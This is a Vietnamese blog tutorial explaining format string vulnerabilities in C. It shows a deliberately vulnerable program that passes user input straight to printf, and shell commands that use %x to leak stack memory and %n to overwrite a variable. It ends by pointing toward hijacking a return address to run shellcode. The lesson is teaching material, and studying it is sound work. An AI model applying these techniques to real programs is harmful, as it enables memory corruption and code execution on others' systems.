Trao đổi với tôi

http://www.buidao.com

3/3/10

[Hacking] Lỗi định dạng chuỗi

Lỗi định dạng chuỗi (format string vulnerability [1]) cũng nguy hiểm không kém lỗi tràn bộ đệm. Trong bài này ta duyệt qua ý tưởng cơ bản của lỗi định dạng chuỗi. Xem các bài [2] về [3] lỗi [4] tràn [5] bộ [6] đệm [7] để biết sơ bộ về tổ chức bộ nhớ các process trong cấu hình IA-32, cách viết shellcodes, và các cách exploit dùng shellcodes. Khi khác rảnh rỗi tôi sẽ viết tiếp chuỗi bài lỗi tràn bộ đệm, còn rất nhiều chi tiết kỹ thuật hay ho.

Quay lại với lỗi định dạng chuỗi, xét chương trình “vô hại” sau đây:

/* ex1.c */
int main(int argc, char** argv) {
char text[1024];
int a=7;
strcpy(text, argv[1]);
printf(text);
printf("\nVariable a is at %08x, a = %d\n", &a, a);
return 0;
}

Chương trình chỉ in ra argv[1], địa chỉ và giá trị của biến a. Chạy thử:

[NQH] hanoi:~/FSV$ a.out AAAA
AAAA
Variable a is at bffff58c, a = 7

Bây giờ ta thử một argv[1] chứa 20 lần chuỗi %80x- như sau:

[NQH] hanoi:~/FSV$ a.out `perl -e 'print "%08x-"x20;'`
bffffabb-40000300-40000000-08048288-08048288-4001670c-00000007-78383025-3830252d
-30252d78-252d7838-2d783830-78383025-3830252d-30252d78-252d7838-2d783830-7838302
5-3830252d-30252d78-
Variable a is at bffff52c, a = 7

Nó in ra cái gì vậy? Số là khi ta gọi printf(text), địa chỉ của argument text được pushed lên stack frame của printf. Vì text bây giờ chứa chuỗi định dạng (20 lần %80x-), printf sẽ tìm tiếp tục trên stack 20 arguments tiếp theo, và bằng cách này ta đã có thể xem 20 words tiếp theo của stack kể từ argument của printf. Trong 20 words đó có chứa cả biến a (chỗ có 00000007). Thử lại lần nữa:

[NQH] hanoi:~/FSV$ a.out AAAA%08x-%08x-%08x-%08x-%08x-%08x-%08x
AAAAbffffaf9-40000300-40000000-08048288-08048288-4001670c-00000007
Variable a is at bffff55c, a = 7

Như vậy word số 7 sau argument của printf chứa biến a. Word số 8 nên là biến text. Có thể thử bằng cách thêm một cái %08x nữa:

[NQH] hanoi:~/FSV$ a.out AAAA%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x
AAAAbffffaf4-40000300-40000000-08048288-08048288-4001670c-00000007-41414141
Variable a is at bffff55c, a = 7

Đúng rồi! Mã hex của chữ A41. Bây giờ, thay AAAA bằng địa chỉ một vùng nhớ nào đó và thay %08x cuối dùng bằng %s thì ta đã có thể truy cập đến vùng nhớ bất kỳ.

Chưa hết, ta cũng có thể ghi vào vùng nhớ bất kỳ bằng định dạng %n của printf. Chuỗi định dạng này in vào vùng nhớ tương ứng tổng số bytes của chuỗi cho đến %n. Ví dụ, chương trình

/* ex2.c */
main () {
int a=0;
printf("1234567%n\n", &a);
printf("a = %d\n", a);
}

cho kết quả là

[NQH] hanoi:~/FSV$ e2
1234567
a = 7

Dùng ý tưởng này, quay lại ví dụ ex1.c, ta có thể thay đổi giá trị biến a như sau

[NQH] hanoi:~/FSV$ a.out `printf "\x5c\xf5\xff\xbf";`%08x-%08x-%08x-%08x-%08x-%08x-%08x-%n
\\357\277\275\357\277\275bffffaf6-40000300-40000000-08048288-08048288-4001670c-0
0000007-
Variable a is at bffff55c, a = 67

Ah hah! Bây giờ biến a đã biến thành 67, chính là tổng số bytes cho argument của printf trước định dạng %n. (Chú ý rằng địa chỉ bffff55c của biến a cần phải đảo lại vì IA-32 là cấu hình little-endian [8].

Khi biết cách thay đổi vùng nhớ bất kỳ, ta có thể thay đổi địa chỉ trả về của hàm để chạy shellcode như trong lỗi tràn bộ đệm chẳng hạn.


Article printed from Blog Khoa Học Máy Tính: http://www.procul.org/blog

URL to article: http://www.procul.org/blog/2006/02/22/l%e1%bb%97i-o%e1%bb%8bnh-d%e1%ba%a1ng-chu%e1%bb%97i/

URLs in this post:

[1] format string vulnerability: http://en.wikipedia.org/wiki/Format_string_attack

[2] bài: http://www.procul.org/blog/2005/02/07/l%e1%bb%97i-tran-b%e1%bb%99-o%e1%bb%87m/

[3] về: http://www.procul.org/blog/2005/08/15/l%e1%bb%97i-tran-b%e1%bb%99-o%e1%bb%87m-2/

[4] lỗi: http://www.procul.org/blog/2005/08/17/l%e1%bb%97i-tran-b%e1%bb%99-o%e1%bb%87m-3/

[5] tràn: http://www.procul.org/blog/2005/08/18/l%e1%bb%97i-tran-b%e1%bb%99-o%e1%bb%87m-4/

[6] bộ: http://www.procul.org/blog/2005/10/29/l%e1%bb%97i-tran-b%e1%bb%99-o%e1%bb%87m-5-cnn-b%e1%ba%a3n-v%e1%bb%81-shellcode/

[7] đệm: http://www.procul.org/blog/2005/10/30/l%e1%bb%97i-tran-b%e1%bb%99-o%e1%bb%87m-6-cnn-b%e1%ba%a3n-v%e1%bb%81-shellcode/

[8] little-endian: http://www.cs.umass.edu/~verts/cs32/endian.html